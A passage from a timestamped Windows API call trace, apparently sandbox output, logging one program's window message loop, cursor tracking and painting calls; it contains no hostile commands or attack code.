wParam=0x0, lParam=0x1f9035d) returned 0x1 [0278.718] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.718] GetCurrentProcessId () returned 0x8d0 [0278.718] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.718] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.718] GetCapture () returned 0x0 [0278.718] WaitMessage () returned 1 [0278.733] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.733] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.733] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.733] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.734] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.734] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.734] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.734] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.734] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.734] GetCurrentProcessId () returned 0x8d0 [0278.734] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.735] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.735] GetCapture () returned 0x0 [0278.735] WaitMessage () returned 1 [0278.803] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.803] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.803] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.804] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.804] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.804] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.804] WindowFromPoint (Point=0x357) returned 0x1035a [0278.804] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f30357) returned 0x1 [0278.805] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.805] GetCurrentProcessId () returned 0x8d0 [0278.805] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.805] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.805] GetCapture () returned 0x0 [0278.805] WaitMessage () returned 1 [0278.869] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.869] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.869] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.870] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.870] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.870] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.870] WindowFromPoint (Point=0x361) returned 0x1035a [0278.870] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f20361) returned 0x1 [0278.871] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.871] GetCurrentProcessId () returned 0x8d0 [0278.871] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.871] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.871] GetCapture () returned 0x0 [0278.871] WaitMessage () returned 1 [0278.944] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.944] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.944] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.944] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.945] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.945] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.945] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.945] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.945] GetCurrentProcessId () returned 0x8d0 [0278.945] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.946] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.946] GetCapture () returned 0x0 [0278.946] WaitMessage () returned 1 [0278.959] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.959] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.959] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.959] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.959] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.960] WindowFromPoint (Point=0x359) returned 0x1035a [0278.960] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f90359) returned 0x1 [0278.960] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.960] GetCurrentProcessId () returned 0x8d0 [0278.960] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.960] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.960] GetCapture () returned 0x0 [0278.960] WaitMessage () returned 1 [0279.006] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.007] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.007] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.007] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.007] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.007] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0279.007] WindowFromPoint (Point=0x35a) returned 0x1035a [0279.007] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0279.008] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.008] GetCurrentProcessId () returned 0x8d0 [0279.008] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.008] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.008] GetCapture () returned 0x0 [0279.008] WaitMessage () returned 1 [0279.077] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.077] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.077] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.077] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.078] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.078] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0279.078] WindowFromPoint (Point=0x35a) returned 0x1035a [0279.078] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3035a) returned 0x1 [0279.078] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.078] GetCurrentProcessId () returned 0x8d0 [0279.078] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.078] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.078] GetCapture () returned 0x0 [0279.078] WaitMessage () returned 1 [0279.141] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.141] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.142] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.142] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.142] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.142] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0279.142] WindowFromPoint (Point=0x34c) returned 0x1035a [0279.142] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1e6034c) returned 0x1 [0279.143] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.143] GetCurrentProcessId () returned 0x8d0 [0279.143] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.143] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.143] GetCapture () returned 0x0 [0279.143] WaitMessage () returned 1 [0279.205] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.205] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.205] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0279.206] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.206] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.206] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.206] IsIconic (hWnd=0xc0060) returned 0 [0279.206] IsIconic (hWnd=0xc0060) returned 0 [0279.206] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0279.206] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0279.207] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0279.207] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0279.207] GetSysColor (nIndex=8) returned 0x0 [0279.207] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0279.207] GetSysColor (nIndex=15) returned 0xf0f0f0 [0279.207] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0279.207] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0279.207] GetCurrentProcessId () returned 0x8d0 [0279.207] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0279.207] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0279.207] GetCurrentProcessId () returned 0x8d0 [0279.207] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0279.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0279.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0279.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0279.209] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.209] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0279.209] WindowFromPoint (Point=0x35a) returned 0x1035a [0279.209] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0279.210] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.210] GetCurrentProcessId () returned 0x8d0 [0279.210] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.210] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.210] GetCapture () returned 0x0 [0279.210] WaitMessage () returned 1 [0279.245] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1ff034f) returned 0x1 [0279.245] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=847, y=511)) returned 1 [0279.245] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.246] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.246] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.246] GetCapture () returned 0x0 [0279.246] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.246] WindowFromPoint (Point=0x34f) returned 0x1035a [0279.246] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1ff034f) returned 0x1 [0279.246] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.246] GetCurrentProcessId () returned 0x8d0 [0279.246] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.246] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.246] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xb20150) returned 0x0 [0279.246] GetKeyState (nVirtKey=18) returned 1 [0279.246] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.246] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=847, y=511)) returned 1 [0279.246] WindowFromPoint (Point=0x34f) returned 0x1035a [0279.246] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x201034f) returned 0x1 [0279.247] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.247] GetCurrentProcessId () returned 0x8d0 [0279.247] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.247] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.247] GetCapture () returned 0x0 [0279.247] WaitMessage () returned 1 [0279.261] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2090345) returned 0x1 [0279.262] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=837, y=521)) returned 1 [0279.262] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.263] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.263] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.263] GetCapture () returned 0x0 [0279.263] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.263] WindowFromPoint (Point=0x345) returned 0x1035a [0279.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2090345) returned 0x1 [0279.263] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.263] GetCurrentProcessId () returned 0x8d0 [0279.263] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.263] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xbc0146) returned 0x0 [0279.263] GetKeyState (nVirtKey=18) returned 1 [0279.263] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.263] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=837, y=521)) returned 1 [0279.263] WindowFromPoint (Point=0x345) returned 0x1035a [0279.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2090345) returned 0x1 [0279.264] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.264] GetCurrentProcessId () returned 0x8d0 [0279.264] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.264] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.264] GetCapture () returned 0x0 [0279.264] WaitMessage () returned 1 [0279.291] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.291] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x213033b) returned 0x1 [0279.292] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=827, y=531)) returned 1 [0279.292] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.292] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.292] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.292] GetCapture () returned 0x0 [0279.292] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.292] WindowFromPoint (Point=0x33b) returned 0x1035a [0279.292] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x213033b) returned 0x1 [0279.292] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.293] GetCurrentProcessId () returned 0x8d0 [0279.293] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.293] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0279.293] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xc6013c) returned 0x0 [0279.293] GetKeyState (nVirtKey=18) returned 1 [0279.293] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.293] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.293] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0279.293] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0279.293] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=531)) returned 1 [0279.293] WindowFromPoint (Point=0x33c) returned 0x1035a [0279.294] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x215033c) returned 0x1 [0279.294] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0279.294] GetCurrentProcessId () returned 0x8d0 [0279.294] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.294] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0279.294] GetCapture () returned 0x0 [0279.294] WaitMessage () returned 1 [0279.302] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21d0331) returned 0x1 [0279.303] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=817, y=541)) returned 1 [0279.303] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0279.303] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.303] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.303] GetCapture () returned 0x0 [0279.303] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0279.304] WindowFromPoint (Point=0x331) returned 0x1035a [0279.304] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21d0331) returned 0x1 [0279.304] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0279.304] GetCurrentProcessId () returned 0x8d0 [0279.304] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0279.304] ClientToScreen (in: 